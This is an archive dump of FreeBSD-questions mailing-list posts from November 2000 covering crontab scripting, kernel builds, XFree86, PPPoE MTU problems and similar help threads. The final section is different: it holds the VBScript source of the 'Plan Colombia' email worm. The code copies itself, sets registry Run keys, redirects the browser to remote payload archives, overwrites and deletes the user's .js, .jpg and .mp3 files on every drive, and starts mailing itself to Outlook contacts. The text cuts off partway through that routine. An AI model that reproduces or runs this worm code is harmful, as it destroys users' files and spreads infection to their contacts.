> 
> 	101 meaning MHLEN + 1, right?  on KAME IPv6 merge, we happened to
> 	do that.

didn't we move to 256-byte clusters some time ago, hence
MHLEN is larger than that ?

	cheers
	luigi



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Howdy all,

Don't know if it is just a couple of days of absolutely no
sleep or what but I've been scratching my over head what
should be a simple problem.

Basically what I'm trying to do is setup a non-interactive
script that edits my crontab.  When I type the following
commands in it comments out the first entry.  However, when
I run it by redirecting stdin from a file it doesn't work.
From the looks of it (note the 37 -> 38 change) the file
is being updated but crontab is ignoring the change.

steve@bsd(/tmp)$ crontab -l
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.teFMi62568 installed on Wed Nov  1 20:47:27 2000)
# (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.12 1999/08/28 01:15:52 peter Exp $)
*/1     *       *       *       *       /home/steve/bin/bogus.sh
steve@bsd(/tmp)$ cat cmds
1s/^/#/
wq
steve@bsd(/tmp)$ env VISUAL=/bin/ed crontab -e < cmds
37
38
crontab: no changes made to crontab
steve@bsd(/tmp)$ cat cmds | env VISUAL=/bin/ed crontab -e        
37
38
crontab: no changes made to crontab
steve@bsd(/tmp)$ 

Can anyone tell what I'm doing wrong?  Thanks.

-steve


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[My apologies - it seems like my mailer lost the original author, and
just left VM.]

Someone types:
> On  1 Nov 00 at 5:27, Mike Meyer wrote:
> > leoric@home.com types:
> > > I have read things from the FreeBSD webpage, archived mailing list
> > > posts, and /usr/src/UPDATING. The proper way to build world and build a
> > > kernel from source is different in each of these.
> <snip>
> > Be warned that some of the things that can be set in /etc/make.conf
> > can cause the method with config to break, and some can cause the
> > system to be unbootable until the intallworld is done.
> In light of another current thread on this list, "beginners with bsd" and 
> the various recommendations therein, it would seem that your above warning 
> points to a FBSD deficiency that would absolutely and totally collapse a 
> computer and/or FBSD newbie's experience with same. What would you see as 
> necessary changes to FBSD to preclude such an experience/event and perhaps 
> cast FBSD in something other than a "not-for-the-faint-hearted" OS and 
> still retain *all* the flexibility that *nix "power-users" require/demand? 

No, because problems with /etc/make.conf mean you're *way* beyond the
"beginners with bsd" stage. You're building the system (or at least
ports) from sources, which is something that MS sort of assumes that
you'll never do. Beginners should make sure they can get around a
-RELEASE system before rebuilding the system from sources. Being able
to build ports at the very least.  They should make sure they can
rebuild the system from sources before they start monkeying around
with make.conf (if you don't touch it, things won't break).

Note that if you leave the ports tree and system as they came off the
-RELEASE disk, they should work, except for things that are so old the
distfile is no longer available.

The fly in this ointment is that there are lots of things left out of
the GENERIC kernel, because it needs to fit on a floppy.  In
particular, sound. With the new sound drivers, it may be possible to
have them installed as a module on GENERIC, possibly even by
default. Hopefully, getting sound turned on without recompiling a
kernel would probably solve the problem. I've actually asked for
information about that, and hopefully something will get done - at
worst, a FAQ entry on how to turn on sound without having to recompile
the kernel. At best, systems will install and modern sound cards
support by pcm will just work.

[Story of newbie's and learning curves elided]

> IMHnewbieO, the above scenario could have just as easily happened on FBSD. 
> However, there's *no way* the majority of the above folks could have 
> *installed* FBSD. So maybe an automatic CLI install auto-loading "midc" 
> e.g. would be in order? later....

Have you installed Windows9x? How many of them could have installed
that? That's the real secret to MS's success - they've palmed the
support costs off onto the hardware vendors, local stores, and friends
next door. In this case, systems come from the factory with Windows
installed, or it's put on by the local store. If you look hard enough,
you can find people who will install FreeBSD for you (even at the
store), thus solving the problem the MS way.

Let's go over the steps in the install process, and see which does
better. I'm atypical - I came to FreeBSD after a decade of running BSD
off of 9-tracks from Evans hall and commercial BSD vendors, and a
couple of years fooling with NetBSD on 68K hardware. I never did a
"newbie" install of FreeBSD, and it's generally a *lot* easier than
the others. With that caveat, it's not clear to me that the Windows
(by which I mean Windows 9x) install is a lot better than the FreeBSD
install.

Windows comes with one floppy, and a CDROM that doesn't
boot. FreeBSD can boot the CDROM, or two floppies if that doesn't
boot. FreeBSD also lets you install from a slew of other media that MS
doesn't. I score this one for FreeBSD.

Next, FreeBSD makes you do the kernel userconfig thing. Most of the
time, you can just ignore this, but it's nice to have if there are
problems. MS makes you choose a boot mode from the floppy. Both are a
bit intimidating if you don't know what's going on. I score this one
even.

Now comes the nasty part - you have to do drive and partition layout
in FreeBSD, and you don't in Windows. Windows assumes that's been done
before the install process (or it may have a hook to format and use
the entire disk). This is clearly bad for FreeBSD; I score this one for
 Windows, as most systems come with a dos formatted C partition.

Ok, you then go through the process of choosing what to install for
both systems. FreeBSD has more options, but they're pretty clearly
labelled. I haven't looked into the "Custom" install for Windows, so
I'm not sure how it compares to FreeBSD. Again, call this one even.

Now comes the post-configuration phase. FreeBSD has a complicated list
of things to walk down, but you can configure pretty much everything
that matters, and even install third-party software. MS walks you
through some critical ones (like creating a user), then starts the
process of adding drivers for hardware beyond the basic system
stuff. If you just click the "keep going" buttons, you're going to
wind up rebooting the system after every device, and it's going to be
a major PITA. The real problem here is that the selection method for
FreeBSD are all keyboard driven, and *counter* intuitive. If FreeBSD
were point-and-click, or even cursor-and-enter, I'd call it even. As
it is, score it for Windows.

Ok, now for FreeBSD you have to set up that "other" hardware. That may
not always be possible - there may not be support for it. You probably
need to recompile the kernel. This doesn't happen on Windows - MS
relies on hardware manufacturers to provide drivers if they
don't. Score this one for MS.

And at that point, the install is done. In retrospect, there are only
two places that FreeBSD really falls short of the mark. FreeBSD needs
a new GUI, but that's actually underway - just slowly.

First, having to do the drive layout is a real loser.  On the other
hand - what alternative do you have? I guess we could add a hook to
use a FreeBSD partition if it was found, but chances are that wouldn't
be used enough to make it worth the effort. After all, Windows tools
can't create a FreeBSD partition, so you need to either run a third
party tool or FreeBSD tools to do that; building the FreeBSD ones into
the install process is *much* better than expecting the user to do it
from the boot floppy before starting the install.  Adding a method
that installed on the entire disk could be done, but people who know
what they're doing can do that, and people who don't know what they're
doing shouldn't be given that kind of thing as a single step
operation. The current "use the entire disk" option during layout
followed by "auto defaults for all" is about as close as I'd care to
cut it.  This one being more painful is a simple fact of life for
people trying to use an "alternative" OS on a platform dominated by
one software vendor. Every OS install I've done except for Windows
walks you through that step. The only one that was easier than FreeBSD
was BeOS, because it uses a Windows-like single partition with a swap
file on it. Linux is as bad or worse; Solaris is *much* worse. If
you've got suggestions on how to fix it, please state them!

The other one is the driver install process. The Windows autodetect
and autonag feature is very nice - when it works. When you don't have
the drivers, it's a PITA (I know - I ran a Windows box sans the sound
card driver for about a month; every time I booted, I had to turn the
bloody thing off). FreeBSD's method of having to reconfig the kernel
is BFM. However, with the architectural changes going on for
modularized drivers, etc, that's going to get better. Ideally, it'll
look like a modern Linux system: everything that's supported by the
installed system is autodetected and dynamically loaded into the
kernel at boot time. Things that aren't supported are reported so you
konw about them, but otherwise ignored. The end result should be
better than Windows 9x, at least for hardware that it works on.

Bottom line - FreeBSD is always going to be more painful for beginners
than Windows, because it can't get away with assuming that it's going
to be the only thing installed. And if you've got a good solution for
that, please let us know!

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Tim McMillen <timcm@umich.edu> types [about using kbdmap to disable C-A-D]:
> Shouldn't this be in the FAQ?  7.23 answers the question but does not
> mention about changing key bindings.

Almost certainly it should. Someone who knows how to do it and can
provide details should build a patch and submit it via
send-pr. They've been pretty good about getting my suggested changes
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Hello

This problem occurs with the 4.1-RELEASE CD and the 4.1.1-RELEASE CD.
The 4.0-RELEASE CD however works just fine.

I'm trying to install FreeBSD on a newly put together PC (although I
have had 4.0 running on the box just fine, as well as debian linux).
The machine boots up off CD, and runs up the installer program. At
this point the machine freezes, and I can't move the cursor or
anything.

As I said, the 4.0 installer doesn't suffer from this problem.

It's a 566mhz celeron on a Gigabyte 2000+ motherboard, with soldered
on promise ata-66 controller. I have two IBM 18Gb 7200 rpm disks
connected as primaries on the two ata-66 busses. A CD-Rom drive is
primary on a standard ata bus.

There are two Intel Pro100+ ethernet cards in the machine, and an
Adaptec 2930 scsi card doing nothing.

Any help greatly appreciated. I'm happy to run some more tests if
it'll help nail a bug.

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John Indra <john@indocyber.com> types:
> On Wed, Nov 01, 2000 at 11:45:52AM -0500, pW wrote:
> |As for root opening up an X app... use just 'su' instead of 'su -'
> Hmmm... I wasn't looking for this solution. But thanks anyway ;)
> I'm interested about how xauth works and I believe this has something to do
> with X cookies. Please CMIIW.
> Where can I read more about this?

"man xauth" actually has all the information. You need to make sure
that everyone's XAUTHORITY file has the same information for the
display in question. You might also check what xhost is set to, and
read the Xsecurity man page.

My solution is to ignore it, and use ssh with X forwarding to connect
to remote machines. That doesn't work to su to another user on the
same host, though. Setting XAUTHORITY to something that includes the
display you're using should make everything work for all users you
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I had read some stuff about installing the SB Live! soundcard in FreeBSD
4.1 release, they said to just add device pcm and device sbc to the
kernel, compile it and it would work. Well... here's what I get when i
make the new kernel:

emu=B90k=B9.=F8:=A0=CFn=A0functi=F8n=A0`emu_=FEci_=E3tt=E3ch=B4:
emu=B90k=B9.=F8(.text+0x=B9e=B9b):=A0un=F0efine=F0=A0reference=A0t=F8=A0`=
=E3c97_=F0estr=F8=FD=B4
emu=B90k=B9.=F8:=A0=CFn=A0functi=F8n=A0`emu_=FEci_=F0et=E3ch=B4:
emu=B90k=B9.=F8(.text+0x=B9e9=E3):=A0un=F0efine=F0=A0reference=A0t=F8=A0`=
=FEcm_unregister=B4
***=A0=CBrr=F8r=A0c=F8=F0e=A0=B9
St=F8=FE=A0in=A0/usr/src/s=FDs/c=F8m=FEile/M=DDK=CB=AEN=CBL.

Everything else works it's just this part.  I'm new to BSD, so I'm sure
it's something simple. Anyone have any ideas? I would much appreciate
them.  Oh yeah, I got emu10k1.c and emu10k1.h from the bsd-current on the
ftp site just to make sure they were up to date.
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Yeah, I'm using it no problem with Xfree86 4.0.1c (cvs version... kinda
like a -CURRENT for XFree86) and it works perfectly... except if u switch
virtual terminals... then when u switch back to the X VT the mouse won't
move.


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On Thu, 2 Nov 2000, Ernst de Haan wrote:

> Hi,
> 
> After the problems I head with my upgrade from XFree86 3.3.6 to 4.0.1 (using
> the port, on an NVidia TNT card) I cvsupdated my sources, made world,
> recompiled and -installed kernel, etc. No luck. Recompiled the port, no luck.
> So I tried running it with an NVidia TNT2 card. No luck.
> 
> At the moment, I exchanged the TNT2 card for a GeForce 2 MX, and I downloaded
> a binary distro from xfree86.org. Guess what? The Geforce 2 isn't supported
> yet :-/
> 
> Does any1 have experience with using a GeForce 2 (MX) card with XFree86 ?
> 
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Paul T. Root <proot@horton.iaces.com> types:
> 	I CVSupped "tag=RELENG_4" and when I built it this
> morning it was 4.2 Beta. It seems to come up fine. However,
> when I tried to build my custom kernel, it doesn't like the options
> for SMP. Specifically NCPU and NBUS. Are these no longer needed?

Yup, it now figures that out for you. Cool, nu? Should have been in
updating, but it doesn't look like it made it. I think it was
mentioned on cvs-all, though.

> 	This machine isn't in production yet. But I'm replacing an 
> old machine with it in a few weeks. So, what tag do I use to go
> back to 4.1-Stable (4.1.1-Stable?). Or do I even want to? I'm guessing
> it basically the same thing, and that we'll be hearing from Jordan 
> any time now? 

Yup, it's basically the same thing. I don't think you can use a tag to
get back to 4.1.1-Stable; you need to check the CVS logs to find out
when the new name went into the system, and then use cvs with a -D
flag to check out files for that date. Personally, I wouldn't
bother. You might want to hold off long enough to get to 4.2-RELEASE,
but other than that I'd ignore it.

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In our last episode,  <39F9DBBC.11A47B2@gmx.net>,
the lovely and talented Andreas Ntaflos

AN> oh damn, i forgot to mention that of course i have *default
AN> tag=RELENG_4, but i didnt remeber the complete supfile ;)

AN> sorry for that repeat: i have the *default tag=RELENG_4 entry.

It must be tag=. or cvsup will delete your ports.  Ports are
not numbered in releases like src.  There are *no* RELENG_4 ports
so cvsup tries to make your ports match that, i.e. leave you with
*no* ports.


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[Perhaps off-topic, I'm sorry ...]

Now, that's interesting.  Forgive my ignorance, but what is that
"substitution" really doing?  It's my understanding that the
start-of-line meta represents a position (immediately left of the
first character in the line), and not an actual character ... which
suggests that it can be located as an anchor, but not removed or
altered. Obviously, the start of the line isn't "replaced" in this
case ... is this just a funky way to fool the regex (e.g. unexpected,
but useful, behavior)?

- -d

- -- 
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Community Networking Initiative
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Annelise Anderson wrote:

>There are two ways I know of to comment a block of lines in vi.
>
>1) Turn on line numbering with :se nu ; the do:
>
>:7,17s/^/#/
>
>This puts a # at the beginning of lines 7 through 17.
>
>2) Put cursor on line where you want to start the substitution 
>do this:
>
>:.,+10s/^/#/
>
>That starts at the line you're on (the .) and for that line and
>the next 10 lines (11 total) places a # at the beginning of the line.
>This is especially useful in editing a kernel config file.
>
>Annelise
>
>
>On Wed, 1 Nov 2000 8773836928@skytel.com wrote:
>
>> Hello,
>> 
>> I have been editing some 
>> Perl scripts in vi recently,
>> and I find it very annoying
>> that Perl cannot comment
>> blocks of code, only lines.
>> 
>> I have been reading the docs in vi, but I can't quite figure out how 
>to do a substitute command that will, say, prepend a # to the 
>next n lines, and later remove the # ( well, the second one 
>I could always use :s and replace the first # with nothing 
>for the next n lines. But the first one is still a mystery to me ).
>> 
>> Any insight would be greatly appreciated.
>> 
>> Thanks!
>> 
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>> 	101 meaning MHLEN + 1, right?  on KAME IPv6 merge, we happened to
>> 	do that.
>didn't we move to 256-byte clusters some time ago, hence
>MHLEN is larger than that ?

	that is not the point.  traditionally MINCLSIZE was MHLEN + MLEN + 1,
	and it made drivers to emit:
		MHLEN mbuf (len <= MHLEN)
		MHLEN mbuf + MLEN mbuf (len <= MHLEN + MLEN)
		MCLBYTES cluster mbuf (len > MHLEN + MLEN)
	Richard proposes to move MINCLSIZE to MHLEN + 1, and will effectively 
	make drivers to emit:
		MHLEN mbuf (len <= MHLEN)
		MCLBYTES cluster mbuf (len > MHLEN)
	the latter stragegy will save us from m_pullup.

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I am a new BSD user. I am trying to set up a gateway. I have 2 computers one
which is a desktop(BSD/2000) and another which is a laptop(win 98).  I have
2 network cards in my desktop. I don't know how to set up the second card.
Is there a tutorial on it.  The tutorial from the main page doesn't tell my
how to set up the second network card.

any help or guidance will be appreciated.

Rohan

Yes, there is a fine tutorial available on
http://www.mostgraveconcern.com/freebsd/ on setting up a dual homed host.
Many other tutorials there you may find useful as well.
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Yes there is an HFS port.  /usr/ports/emulators/hfs/
I've not used it yet as macs can read dos formatted stuff and so can
FreeBSD.  Let me know how it goes.

					Tim

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Hi Everyone,

I've been having problems with my PPPoE connection.  It works fine
most of the time, but sometimes connections hang.  On repeatable time
seems to be when I cvsup, but it also seems to hang when sendmail
exchanges certain messages with my ISP's SMTP server.  I've found
that this icmp packet seems to suggest the problem:

tcpdump -vvv -X -i tun0 -s 2000 icmp
tcpdump: listening on tun0
20:06:30.673201 165.247.202.104 > 165.247.202.104: icmp:
165.247.202.104 unreachable - need to frag (mtu 1480) for
165.247.202.104.iad2 > 165.247.202.104.cvsup: [|tcp] (DF) (ttl 64, id
1920, bad cksum 0!) (ttl 255, id 1921)
0x0000   4500 0038 0781 0000 ff01 d383 a5f7 ca68      
E..8...........h
0x0010   a5f7 ca68 0304 7dc7 0000 05c8 4500 05dc      
...h..}.....E...
0x0020   0780 4000 4006 0000 a5f7 ca68 a5f7 ca68      
..@.@......h...h
0x0030   0407 176f 150c 95c6               

This confuses me a little, because my MTUs are set to 1492, not 1480:

bash-2.03$ ifconfig
fxp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1492
        inet 192.168.1.1 netmask 0xffffff00 broadcast 192.168.1.255
        inet6 fe80::202:b3ff:fe03:aae1%fxp0 prefixlen 64 scopeid 0x1
        ether 00:02:b3:03:aa:e1
        media: autoselect (100baseTX) status: active
        supported media: autoselect 100baseTX <full-duplex> 100baseTX
10baseT/UTP <full-duplex> 10baseT/UTP
xl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1492
        inet 10.0.0.2 netmask 0xffffff00 broadcast 10.0.0.255
        inet6 fe80::201:2ff:fe48:ad91%xl0 prefixlen 64 scopeid 0x2
        ether 00:01:02:48:ad:91
        media: 10baseT/UTP (10baseT/UTP <half-duplex>)
        supported media: 10baseT/UTP <full-duplex> 10baseT/UTP
<half-duplex> 10baseT/UTP
lp0: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> mtu 1500
ppp0: flags=8010<POINTOPOINT,MULTICAST> mtu 1500
sl0: flags=c010<POINTOPOINT,LINK2,MULTICAST> mtu 552
faith0: flags=8000<MULTICAST> mtu 1500
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
gif1: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
gif2: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
gif3: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0xb
        inet6 ::1 prefixlen 128
        inet 127.0.0.1 netmask 0xff000000
tun0: flags=8151<UP,POINTOPOINT,RUNNING,PROMISC,MULTICAST> mtu 1492
        inet6 fe80::202:b3ff:fe03:aae1%tun0 --> :: prefixlen 64
scopeid 0xc
        inet 165.247.202.104 --> 165.247.202.1 netmask 0xffffffff
        Opened by PID 107

My best guess about what's happening is that sometimes a packet of
length > 1480 bytes gets sent out, somehow gets diverted back to my
own interface (by NAT or ipfw?) and then gets stuck by this 1480 MTU.
 Is this a bug or do I have something misconfigured?  Why does
tcpdump report a different MTU than ifconfig?  Any help appreciated.

Thanks,
- - -Tim
timothyr@timothyr.com

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Will 56K Ext Rockwell Voice Modem be supported under FreeBSD
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Run portsentry a week and look at your routing table then tell me why
not...two pages of blackhole routes is a LITTLE extreme...


On Wed, 1 Nov 2000, UC Telecom + Transbay.Net wrote:

> Why not just inform lightspeed.net that freebsd.org has put
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On Wed, Nov 01, 2000 at 02:52:25PM -0800, William Yardley wrote:
> i was just wondering what currently available (preferably easily) cards
> work really well for xfree86 - my scratch box currently has a Mach64
> winboost which doesn't provide a lot of colors at high screen resolutions.
I recommend any Matrox card you can buy :-) 
For example, I use Matrox Millenium II (old PCI card with good 2D performance)
You can buy MAtrox G200 or G400.
from /usr/X11R6/lib/X11/doc/README.MGA:
  Makes extensive use of the graphics accelerator.  This server is very
  well accelerated, and is one of the fastest XFree86 X servers.
     

-- 
Igor Roboul, Unix System Administrator & Programmer @ sanatorium "Raduga", 
Sochi, Russia
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From owner-freebsd-questions  Wed Nov  1 22: 0: 0 2000
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To: Arcady Genkin <antipode@thpoon.com>
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Subject: Re: ad0: DMA problem fallback to PIO mode; HARD READ ERROR blk#25418687
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well.. a quick search of the list archives yielded refrences to 
sysctl hw.atamodes and man ata(4)

also, look in LINT for stuff about hd flags and what-not
and.. WDMA is not the same as UDMA apparantly, man ata has details
regarding your specific chipset

hopefully one or more of those will lead you too a solution
it still COULD be bad hardware... i apologize if thats the case... your
first post looked like an easy problem at first... guess not ):

anyway... good luck!
nathan 

On 1 Nov 2000, Arcady Genkin wrote:

> nathan <beemern@telecom.ksu.edu> writes:
> 
> > > Now the question is how to disable DMA in the kernel.  I see option
> > > #options         ATA_ENABLE_ATAPI_DMA
> > > but it's commented out.  Is there any other way to tell the kernel not
> > > to use DMA for ata driver?
> > 
> > what file is that you are looking at?
> 
> My kernel config file.  I also looked in LINT, but didn't find
> anything new.
> 
> > see the handbook on building custom kernels on at freebsd.org for
> > complete accurate instructions
> 
> This is not what I meant.  I know how to recompile a kernel.  I just
> don't know how to disable DMA.  In my kernel config file DMA is not
> enabled...
> 
> Any ideas, anyone?
> 
> Thanks again,
> -- 
> Arcady Genkin
> Don't read everything you believe.
> 
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On Thu, 2 Nov 2000 07:22:52 +0200  Vikash Badal * wrote:
 +------------------
 | I currently have 17 FreeBSD servers all running version 3.2, I recently
 | downloaded the 3.5 iso image.
 | 
 | How can I use the 3.5 image to upgrade the 3.2 servers over the network ?
 | 
 | None of my servers have access to the internet --- closed private network
 +------------------

Why stop at 3.5. Why not jump to the latest stable? Anyway.
Designate one machine as the install server.  Use vnconfig to map
the iso file as a device. Then mount it using cd9660. Now proceed
with an FTP install from each install client.

chris

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Drew Tomlinson wrote:
> 
> I'm doing some housekeeping and removing various packages.  As a "new"
> newbie, this is my first experiment with the pkg_delete command and I'm
> getting these kind of messages for each and every package that I'm removing:
> 
> milkmaker# pkg_delete -d wine-2000.08.21
> pkg_delete: file `/usr/local/include/wine/wine' doesn't really exist
> pkg_delete: unable to completely remove directory
> '/usr/local/include/wine/wine'
> 
> I assume this means that directories that are expected to be there aren't.
> Is this normal?  

	Depends on your definition of "normal." :) It's not uncommon for there
to be small mistakes in a port's plist (packing list) that may be
related to configuration options, or outright error. pkg_delete is ultra
paranoid about deleting things for you, so you should look at the
messages, look at the directories mentioned, and feel free to delete
things if you think it's appropriate. 

Good luck,

Doug
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At BSDCon this year I sat in on a conference that was suggesting ways of
making FreeBSD better than the other guys. I just thought of a good idea
but don't know who to send it to.

How about making tail smart enough to realize that the file it was
watching just got rotated and that it should start over reading from the
beginning of the file? Basic rule is, if the file size changes to zero,
start over.

If I could code I'd hack it up myself and submit diffs.

Matt

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On Thu, Nov 02, 2000 at 01:55:06AM -0500, Matt Simerson wrote:
# 
# How about making tail smart enough to realize that the file it was
# watching just got rotated and that it should start over reading from the
# beginning of the file? Basic rule is, if the file size changes to zero,
# start over.

Doesn't 'tail -F some_file' do this already?  From the manpage:

  -F  The -F option implies the -f option, but tail will also check to
      see if the file being followed has been renamed or rotated.  The
      file is closed and reopened when tail detects that the filename
      being read from has a new inode number.  The -F option is ignored
      if reading from standard input rather than a file.

-steve


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rem  "Plan Colombia" virus v1.0
rem  by Sand Ja9e Gr0w   (www.colombia.com)

rem  Dedicated to all the people that want to be hackers or crackers, =
in Colombia =20
rem  This program is also a protest act against the violence and =
corruption that Colombia lives...
rem  I always wanting that all this finishes, I have said...


rem  Santa fe de Bogot=E1 2000/09
rem  I dedicate to all you the song "GoodBye" of Andreas Bochelli
rem  =
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rem  Thanks God..!
rem  A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1"
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rem  And One kicked of tail to my friends, "eL ChE" and "ThE SpY"

rem  okay, ok...=20
rem  my baby start here...

=20
On Error Resume Next
dim =
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye
eq=3D""
ctr=3D0

randomize
numero =3D Int(Rnd * 3) + 1
polye =3D ".GIF.vbs"
If numero =3D 1 Then
  polye =3D ".BMP.vbs"
 Else
  If numero =3D 2 Then
    polye =3D ".JPG.vbs"
  End If
End If


polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye

Set fso =3D CreateObject("Scripting.FileSystemObject")
set file =3D fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=3Dfile.ReadAll
main()
If Day(Now) =3D 17 And Month(Now) =3D 9 Then
  MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & =
Chr(13) & "Att.  " & polyname(5) & "   (M.H.M. TEAM)"
  killnet()
End If



sub main()
On Error Resume Next
dim wscr,rr
set wscr=3DCreateObject("WScript.Shell")
rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows =
Scripting Host\Settings\Timeout")
if (rr>=3D1) then
 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting =
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin =3D fso.GetSpecialFolder(0)
Set dirsystem =3D fso.GetSpecialFolder(1)
Set dirtemp =3D fso.GetSpecialFolder(2)
Set c =3D fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\LINUX32.vbs")
c.Copy(dirwin&"\reload.vbs")
c.Copy(dirsystem&polyn)
regruns()
html()
spreadtoemail()
listadriv()
end sub



sub regruns()
On Error Resume Next
Dim num,downread,res
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX3=
2",dirsystem&"\LINUX32.vbs"
regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService=
s\reload",dirwin&"\reload.vbs"
downread=3D""
downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Download Directory")
if (downread=3D"") then
  downread=3D"c:\"
end if

rem   acepta nombres largos..?
if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then
  Randomize
  Randomize
  num =3D Int((4 * Rnd) + 1)

  rem  fatal =3D> send virii
  if num =3D 2 then=20
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/macromedia32.zip"
   else
    rem  oh,, a picture.. nice :) =20
    if num =3D 3 then
        regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/linux321.zip"      =20
      else
       rem  oh,, other picture  =3D:()
       if num =3D 4 then
         regcreate "HKCU\Software\Microsoft\Internet =
Explorer\Main\Start =
Page","http://members.fortunecity.com/plancolombia/linux322.zip"
       end if=20
    end if =20
 end if
end if

if (fileexist(downread&"\MACROMEDIA32.zip")=3D0) then
  res =3D Shell("copy " & downread & "\MACROMEDIA32.zip  " & dirwin & =
"\important_note.txt", vbHide)
  regcreate =
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan =
colombia",dirwin&"\important_note.txt"
  regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"
 else
  if (fileexist(downread&"\linux321.zip")=3D0) then
     Kill (dirwin & "\logos.sys")
     res =3D Shell("copy " & downread & "\linux321.zip  " & dirwin & =
"\logos.sys", vbHide)
     regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"    =20
    else
      if (fileexist(downread&"\linux322.zip")=3D0) then
        Kill (dirwin & "\logow.sys")
        res =3D Shell("copy " & downread & "\linux322.zip  " & dirwin & =
"\logow.sys", vbHide) =20
        regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet =
Explorer\Main\Start Page","about:blank"    =20
      end if  =20
  end if
end if
end sub



sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc =3D fso.Drives

For Each d in dc
 If d.DriveType =3D 2 or d.DriveType=3D3 Then
  folderlist(d.path&"\")
 end if
Next

listadriv =3D s
end sub



sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f =3D fso.GetFolder(folderspec)
set fc =3D f.Files

for each f1 in fc
 ext=3Dfso.GetExtensionName(f1.path)
 ext=3Dlcase(ext)
 s=3Dlcase(f1.name)
if (ext=3D"vbs") or (ext=3D"vbe") then
  set ap=3Dfso.OpenTextFile(f1.path,2,true)
  ap.write vbscopy
  ap.close
 else
  if(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or =
(ext=3D"sct")  or (ext=3D"hta") then
   set ap=3Dfso.OpenTextFile(f1.path,2,true)
   ap.write vbscopy
   ap.close
   bname=3Dfso.GetBaseName(f1.path)
   set cop=3Dfso.GetFile(f1.path)
   cop.copy(folderspec&"\"&bname&".vbs")
   fso.DeleteFile(f1.path) =20
 else
  if(ext=3D"jpg") or (ext=3D"jpeg") then
   set ap=3Dfso.OpenTextFile(f1.path,2,true)
   ap.write vbscopy
   ap.close
   set cop=3Dfso.GetFile(f1.path)
   cop.copy(f1.path&".vbs")
   fso.DeleteFile(f1.path) =20
 else
  if(ext=3D"mp3") or (ext=3D"mp2") then
   set mp3=3Dfso.CreateTextFile(f1.path&".vbs")
   mp3.write vbscopy
   mp3.close
   set att=3Dfso.GetFile(f1.path)
   att.attributes=3Datt.attributes+2
 end if
 end if
 end if
end if
next

end sub



sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f =3D fso.GetFolder(folderspec)
set sf =3D f.SubFolders

for each f1 in sf
 infectfiles(f1.path)
 folderlist(f1.path)
next

end sub


sub regcreate(regkey,regvalue)
Set regedit =3D CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub


function regget(value)
Set regedit =3D CreateObject("WScript.Shell")
regget=3Dregedit.RegRead(value)
end function


function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
  msg =3D 0
else
  msg =3D 1
end if
fileexist =3D msg
end function


function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
 msg =3D 0
else
 msg =3D 1
end if
fileexist =3D msg
end function



sub spreadtoemail()
On Error Resume Next
dim =
x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod

set regedit=3DCreateObject("WScript.Shell")
set out=3DWScript.CreateObject("Outlook.Application")
set mapi=3Dout.GetNameSpace("MAPI")

Randomize
numero =3D Int(Rnd * 3) + 1
textosub =3D ""
If numero =3D 1 Then
  textosub =3D "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> =
(http://WWW.2600.COM)<=3D"
 Else
  If numero =3D 2 Then
    textosub =3D polyname(6)
  End If
End If


Randomize
numero =3D Int(Rnd * 3) + 1
textobod =3D ""
If numero =3D 1 Then
  textobod =3D "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET =
PICTURES.."
 Else
  If numero =3D 2 Then
    textobod =3D polyname(10)
  End If
End If


for ctrlists=3D1 to mapi.AddressLists.Count
 set a=3Dmapi.AddressLists(ctrlists)
 x=3D1
 regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
 if (regv=3D"") then
 regv=3D1
 end if
 if (int(a.AddressEntries.Count)>int(regv)) then
=20
  for ctrentries=3D1 to a.AddressEntries.Count
   correoad=3Da.AddressEntries(x)
   regad=3D""
   =
regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&corr=
eoad)
   if (regad=3D"") then
     set correo=3Dout.CreateItem(0)
